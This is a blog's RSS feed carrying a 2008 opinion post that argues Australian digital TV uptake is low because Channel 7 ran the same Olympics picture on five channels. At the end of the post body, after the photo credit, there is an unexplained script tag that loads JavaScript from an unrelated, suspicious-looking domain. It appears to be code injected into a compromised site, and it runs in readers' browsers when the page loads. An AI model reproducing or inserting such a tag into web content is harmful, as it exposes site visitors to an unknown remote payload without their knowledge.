<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>TechWhimsy &#187; tv</title>
	<atom:link href="http://techwhimsy.com/tags/tv/feed" rel="self" type="application/rss+xml" />
	<link>http://techwhimsy.com</link>
	<description>Where tech is more than just the breaking news</description>
	<lastBuildDate>Thu, 06 May 2010 11:19:53 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Why digital TV adoption rates are low in Australia</title>
		<link>http://techwhimsy.com/why-digital-tv-adoption-rates-are-low-in-australia</link>
		<comments>http://techwhimsy.com/why-digital-tv-adoption-rates-are-low-in-australia#comments</comments>
		<pubDate>Sun, 24 Aug 2008 05:17:39 +0000</pubDate>
		<dc:creator>Shane Perris</dc:creator>
				<category><![CDATA[opinions]]></category>
		<category><![CDATA[tv]]></category>

		<guid isPermaLink="false">http://techwhimsy.com/?p=121</guid>
		<description><![CDATA[
(Update at the bottom of the post)
The analogue TV signal in Australia will be switched off by 2013. This means that everyone without a digital tuner will suddenly find themselves free of broadcast television.  The date for the switch over has been shifted several times as politicians remained convinced that the digital TV (DTV) adoption [...]]]></description>
			<content:encoded><![CDATA[<p></p><p><a title="Dead TV" href="http://www.flickr.com/photos/69761990@N00/191751016/"><img style="margin: 0px 10px 5px 0px" src="http://static.flickr.com/75/191751016_3fd4788789_m.jpg" border="0" alt="Dead TV" align="left" /></a></p>
<p>(<em>Update at the bottom of the post)</em></p>
<p>The analogue TV signal in Australia will be switched off by 2013. This means that everyone without a digital tuner will suddenly find themselves free of broadcast television.  The date for the switch over has been shifted several times as politicians remained convinced that the digital TV (DTV) adoption rates were so low that it would be a disaster if the signal was turned off as scheduled. I remember when the switch over was going to be sometime in 2005, then 2008, and now it will begin by 2011 and be completed by 2013.<span id="more-121"></span></p>
<p>I&#8217;ve always been confused about what the fuss is with adoption rates. People won&#8217;t rush out and upgrade their TV or buy a tuner until they have to. Just pick a date far in advance, prominently and consistently publicise the date and when the switch date looms, people will upgrade.  Tuners are easy to come by, whether they be in a set-top box, built-in tuner in the TV, via pay TV like Foxtel or even a USB tuner for a computer. They&#8217;re also quite cheap. A standard definition set-top box can be bought for well under $50 at any large consumer electronics chain and high definition ones (the signal of choice for the Australian market) have started to drop well under $100 for the more dodgy, 90 day warranty, indeterminate country of origin brands.</p>
<p><!--more-->DTV has many benefits &#8211; superior quality transmission and reception of picture and sound, multiple channels, different camera angles, &#8216;back channel&#8217; possibilities such as e-commerce in the spectrum and so on. Yet, adoption rates remain low. Legislation that restricts &#8216;narrowcasting&#8217; (the option of tailoring different channels to different market segments) and places strong limits on what broadcasters who are not one of the current free-to-air channels can display has reduced the type of content currently on offer. It seems to me that the market is trying to sell the product purely on the grounds that it will look better.</p>
<p>No wonder adoption rates are so low. Where is the incentive to the consumer, especially the consumer who wants more variety that what is currently offered on the five free-to-air channels but don&#8217;t want to be encumbered with a costly monthly subscription for a large number of channels they don&#8217;t want?</p>
<p>Following is a final example of the problems with DTV programming in Australia. Channel 7 (and its regional partner, Prime) have the rights to broadcast the 2008 Olympics in Australia. Ch7 has five digital TV channels available to it, covering both standard and high definition spectrum. The Olympics is a perfect showcase for DTV. There are many different sports with different niche markets playing at the same time. Different camera angles would enhance a number of these sports (especially team sports like football and hockey). There is also a healthy portion of the market that couldn&#8217;t care less about the Olympics and would like a channel with alternative programming. Obviously the latter could also just watch another station but they are still a market that can be catered to by Ch7.</p>
<p>Have a look at the slideshow below that displays a screenshot of each of the five Ch7 DTV channels over the course of approximately two minutes. Count how many of the different options that DTV technology makes available have been utilised by Ch7.</p>
<div><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="400" height="302" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.vimeo.com/moogaloop.swf?clip_id=1572430&amp;server=www.vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=00adef&amp;fullscreen=1" /><embed type="application/x-shockwave-flash" width="400" height="302" src="http://www.vimeo.com/moogaloop.swf?clip_id=1572430&amp;server=www.vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=00adef&amp;fullscreen=1"></embed></object><br />
<a href="http://www.vimeo.com/1572430?pg=embed&amp;sec=1572430">Prime&#8217;s 5 channel coverage of the Beijing Olympics</a></div>
<p>Five different channels. One picture stream. Where&#8217;s the incentive to upgrade?</p>
<p><strong>UPDATE: </strong><a title="Mark Pesce" href="http://www.markpesce.com/">Mark Pesce</a> reminded me <a href="http://twitter.com/mpesce/statuses/897207900">on Twitter</a> that I&#8217;d forgotten to mention something in my post, namely that the commercial channels are at the moment prevented from multicasting on their extra DTV channels by legislation. I meant to say this but accidentally removed that paragraph during editing (that&#8217;ll teach me to edit my posts). However, I see this situation as just as absurd. If the commercial channels are restriced from innovating in this space, the incentives for consumers to upgrade still are not there. Whether it&#8217;s commercial imperative or legislation, the result is still the same &#8211; 5 whole channels all showing the exact same thing.</p>
<p><em>See also:</em></p>
<p><em>Interesting article on digital TV in Australia &#8211; <a href="http://csited.org/2007/37WeerCSITEd.pdf">The Present and Future of Digital TV in Australia</a> [PDF] Dead TV<br />
</em></p>
<p><em>Photo credit: <strong><a href="http://flickr.com/photos/rickremington/191751016/">daedalicious </a></strong></em><em>Dead TV</em><em><strong><a href="http://flickr.com/photos/rickremington/191751016/"> </a></strong></em><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://techwhimsy.com/why-digital-tv-adoption-rates-are-low-in-australia/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
